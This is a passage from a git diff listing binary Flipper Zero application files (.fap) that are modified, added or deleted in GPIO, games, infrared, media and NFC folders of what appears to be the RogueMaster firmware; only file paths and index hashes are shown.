RM)/RogueMaster/GPIO/modbus.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/noptel_lrf_sampler.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/noptel_lrf_sampler.fap index d6b65790d..94ddc1e31 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/noptel_lrf_sampler.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/noptel_lrf_sampler.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/oscilloscope.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/oscilloscope.fap index c060723f0..31056434a 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/oscilloscope.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/oscilloscope.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/pokemon_trading.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/pokemon_trading.fap index 29d556b4f..c8323d1b7 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/pokemon_trading.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/pokemon_trading.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/sd_spi_app.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/sd_spi_app.fap index c67ab864e..d495a24f2 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/sd_spi_app.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/sd_spi_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/signal_generator.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/signal_generator.fap index add7aaf88..e359c9609 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/signal_generator.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/signal_generator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/simultaneous_rfid_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/simultaneous_rfid_reader.fap index a001040e5..fe765a960 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/simultaneous_rfid_reader.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/simultaneous_rfid_reader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_flash_dump.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_flash_dump.fap new file mode 100644 index 000000000..0a82dd6e7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_flash_dump.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_terminal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_terminal.fap index 5a5f05a91..e5cdbf89c 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_terminal.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_terminal.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/spotify_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/spotify_remote.fap index 9268f4990..ff7b589d1 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/spotify_remote.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/spotify_remote.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_sniff.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_sniff.fap new file mode 100644 index 000000000..cdc9ba51e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_sniff.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ublox.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ublox.fap index 653c99259..d76646a6f 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ublox.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ublox.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uhf_rfid.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uhf_rfid.fap index d9f46edb0..3442a9cc7 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uhf_rfid.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uhf_rfid.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wch_swio_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wch_swio_flasher.fap index 10dd2243f..c7407ff18 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wch_swio_flasher.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wch_swio_flasher.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wiegand_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wiegand_reader.fap index db945b46c..c14efb3c4 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wiegand_reader.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wiegand_reader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ws2812b_tester_app.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ws2812b_tester_app.fap index a7547a4b9..30e31aa82 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ws2812b_tester_app.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ws2812b_tester_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/yuricable_pro_max.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/yuricable_pro_max.fap index 94da72490..1721732f7 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/yuricable_pro_max.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/yuricable_pro_max.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/arddrivin.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/arddrivin.fap index c6eabc081..30800d8df 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/arddrivin.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/arddrivin.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/ardugolf.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/ardugolf.fap index ed0592648..e2df37c91 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/ardugolf.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/ardugolf.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/arduventure.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/arduventure.fap index eb13fd881..9010bc796 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/arduventure.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/arduventure.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/arduventure_ex.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/arduventure_ex.fap new file mode 100644 index 000000000..881e4f85e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/arduventure_ex.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/catacombs.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/catacombs.fap index d8e114334..a032c75de 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/catacombs.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/catacombs.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/checkers.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/checkers.fap new file mode 100644 index 000000000..733d5dc6e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/checkers.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/chess.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/chess.fap index 412646e68..0bdc9c231 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/chess.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/chess.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/color_guess.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/color_guess.fap index 94b1bbced..60ea49e31 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/color_guess.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/color_guess.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/deadzone.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/deadzone.fap index 3dbd6f5eb..53ca5879c 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/deadzone.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/deadzone.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/guess_the_number.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/guess_the_number.fap index a22032efe..7c9cdfd11 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/guess_the_number.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/guess_the_number.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/holdem.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/holdem.fap new file mode 100644 index 000000000..2683b4ac4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/holdem.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/insults.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/insults.fap index be68a9c43..bbc78e2ce 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/insults.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/insults.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/jumping_pawns.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/jumping_pawns.fap index 49211c63c..343d94125 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/jumping_pawns.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/jumping_pawns.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/laser_tag.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/laser_tag.fap index d6ebe5a0b..8fb60d859 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/laser_tag.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/laser_tag.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/lifecounter.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/lifecounter.fap index 9dbefe442..7d2f34e7c 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/lifecounter.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/lifecounter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper_redux.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper_redux.fap index 26e73ae30..c881de900 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper_redux.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper_redux.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/myblab.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/myblab.fap index c5c46b473..0c4ae72b5 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/myblab.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/myblab.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/pacman.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/pacman.fap index e73f5177f..6af7cfe09 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/pacman.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/pacman.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/princeofarabia.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/princeofarabia.fap index cb23bc128..cf9b8f814 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/princeofarabia.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/princeofarabia.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/princeofarabia_ex.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/princeofarabia_ex.fap new file mode 100644 index 000000000..081e5220a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/princeofarabia_ex.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/questions.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/questions.fap index 89d744b9a..2c3c2f293 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/questions.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/questions.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/race_game.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/race_game.fap new file mode 100644 index 000000000..978048eea Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/race_game.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/random_decision_maker.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/random_decision_maker.fap new file mode 100644 index 000000000..751b3973f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/random_decision_maker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/sand_simulation.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/sand_simulation.fap index fb0d72376..4ff59a219 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/sand_simulation.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/sand_simulation.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/slots.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/slots.fap index 1faa56ab2..2197be818 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/slots.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/slots.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tanks.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tanks.fap index 969cd5553..c4ab429e1 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/tanks.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/tanks.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tarot.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tarot.fap index 51eda82b4..4b3ccabd4 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/tarot.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/tarot.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tetris.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tetris.fap index 616126101..615fa78cf 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/tetris.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/tetris.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tic_tac_toe_multi.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tic_tac_toe_multi.fap index e849eb18a..38f0a49cf 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/tic_tac_toe_multi.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/tic_tac_toe_multi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/wolfenduino.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/wolfenduino.fap index 9d53dbd41..f16927614 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/wolfenduino.fap and b/Applications/Custom (UL, RM)/RogueMaster/Games/wolfenduino.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/cross_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/cross_remote.fap index 62399e6de..b1fb36cc6 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/cross_remote.fap and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/cross_remote.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/fire_string.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/fire_string.fap index a3553f499..4a0f99a91 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/fire_string.fap and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/fire_string.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/flippertag.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/flippertag.fap index 9dbff2831..539fe38c0 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/flippertag.fap and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/flippertag.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrafi.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrafi.fap new file mode 100644 index 000000000..7b51b2185 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrafi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrared.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrared.fap index 41b2bb693..05da2d8d5 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrared.fap and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrared.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_signal_generator.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_signal_generator.fap new file mode 100644 index 000000000..b141d2d67 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_signal_generator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_transfer.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_transfer.fap index 653764bc3..0e1c4ee33 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_transfer.fap and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_transfer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/lidar_emulator.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/lidar_emulator.fap index 11e4db4d6..40a01eff5 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/lidar_emulator.fap and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/lidar_emulator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/timed_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/timed_remote.fap index ed1f70d5a..9b304d57b 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/timed_remote.fap and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/timed_remote.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/xbox_controller.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/xbox_controller.fap index 62b211ba2..3c18543cc 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/xbox_controller.fap and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/xbox_controller.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/xremote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/xremote.fap index 00000d29b..fafed0f22 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/xremote.fap and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/xremote.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Main/dab_timer.fap b/Applications/Custom (UL, RM)/RogueMaster/Main/dab_timer.fap index e2058a71d..616d60d2d 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Main/dab_timer.fap and b/Applications/Custom (UL, RM)/RogueMaster/Main/dab_timer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Main/js_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Main/js_app.fap deleted file mode 100644 index 221ed5966..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Main/js_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/flizzer_tracker.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/flizzer_tracker.fap index ab721f8bb..8e36c78cd 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/flizzer_tracker.fap and b/Applications/Custom (UL, RM)/RogueMaster/Media/flizzer_tracker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/music_tracker.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/music_tracker.fap index 0888f25d4..53b35695c 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/music_tracker.fap and b/Applications/Custom (UL, RM)/RogueMaster/Media/music_tracker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/snowflake.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/snowflake.fap index 1dda5461b..f0a82217b 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/snowflake.fap and b/Applications/Custom (UL, RM)/RogueMaster/Media/snowflake.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/aic.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/aic.fap index caa2cba37..193cb0538 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/aic.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/aic.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/ami_tool.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/ami_tool.fap index 77f76e4f3..dc4a894ce 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/ami_tool.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/ami_tool.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/ghostbook.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/ghostbook.fap index cef644821..c9c88da4d 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/ghostbook.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/ghostbook.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/iso15693_nfc_writer.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/iso15693_nfc_writer.fap index 54c32df99..5c2476b09 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/iso15693_nfc_writer.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/iso15693_nfc_writer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/metroflip.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/metroflip.fap index 980dabfff..b5515a7a1 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/metroflip.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/metroflip.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/mfc_editor.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/mfc_editor.fap index 24406d583..e9e2f5473 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/mfc_editor.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/mfc_editor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/mfdesfire_auth.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/mfdesfire_auth.fap index e6ee55280..74645b3d9 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/mfdesfire_auth.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/mfdesfire_auth.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/mfkey.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/mfkey.fap index 1fcd73aaa..b5ce1c7ce 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/mfkey.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/mfkey.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/miband_nfc.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/miband_nfc.fap index 2cdf57e43..dda0d4524 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/miband_nfc.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/miband_nfc.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/mifare_fuzzer.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/mifare_fuzzer.fap index 7ec0bb799..36d6347be 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/mifare_fuzzer.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/mifare_fuzzer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/mizip_balance_editor.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/mizip_balance_editor.fap index 4a16c3976..d8ba3badc 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/mizip_balance_editor.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/mizip_balance_editor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/networking_nfc_qr.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/networking_nfc_qr.fap index 90137bde1..ddccf2180 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/networking_nfc_qr.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/networking_nfc_qr.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc.fap index 3091c63ce..9eec6f76a 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_apdu_runner.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_apdu_runner.fap index bb326db3c..4de0bba4b 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_apdu_runner.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_apdu_runner.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_comparator.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_comparator.fap index 51a8085cb..075061324 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_comparator.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_comparator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_detector.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_detector.fap index 0d698a476..796e23f5b 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_detector.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_detector.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_dict_manager.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_dict_manager.fap index 3c6355bb7..417011806 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_dict_manager.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_dict_manager.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_eink.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_eink.fap index 4ae7b4db2..938f8430b 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_eink.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_eink.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_fuzzer.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_fuzzer.fap new file mode 100644 index 000000000..81b77ec70 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_fuzzer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_keyboard.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_keyboard.fap index bd69a998a..5add87a04 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_keyboard.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_keyboard.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_login.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_login.fap index b96729dc8..fbbbda568 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_login.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_login.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_magic.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_magic.fap index 308cb0700..b7b89895c 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_magic.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_magic.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_maker.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_maker.fap index f4980df48..9f458248e 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_maker.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_maker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_playlist.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_playlist.fap index a191b6ca9..886aeb7d2 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_playlist.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_playlist.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_relay.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_relay.fap index add1f4199..5a98ab4a8 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_relay.fap and 